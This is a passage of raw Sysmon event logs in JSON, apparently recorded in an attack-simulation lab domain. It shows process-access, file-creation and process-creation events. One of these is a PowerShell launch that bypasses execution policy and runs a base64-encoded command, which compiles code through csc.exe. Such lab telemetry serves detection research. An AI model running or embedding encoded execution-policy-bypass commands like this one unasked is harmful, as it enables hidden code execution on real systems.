|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5207,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5208,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5209,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:30.603\r\nProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nProcessId: 4452\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgzl53od.dll\r\nCreationUtcTime: 2020-08-07 11:56:30.603","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:30.603","ProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgzl53od.dll","CreationUtcTime":"2020-08-07 11:56:30.603","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5210,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nProcessId: 4452\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgzl53od.cmdline\r\nCreationUtcTime: 2020-08-07 11:56:30.603","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","ProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgzl53od.cmdline","CreationUtcTime":"2020-08-07 11:56:30.603","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5211,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.614\r\nProcessGuid: {90617006-416E-5F2D-0000-001015210800}\r\nProcessId: 4644\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\jgzl53od.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nParentProcessId: 4452\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.614","ProcessGuid":"{90617006-416E-5F2D-0000-001015210800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\jgzl53od.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","ParentProcessId":"4452","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5212,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nSourceProcessId: 4452\r\nSourceThreadId: 5088\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6CB68F)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","SourceProcessId":"4452","SourceThreadId":"5088","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1ecb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c1999|UNKNOWN(00007FF8EA6CB68F)","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.603\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 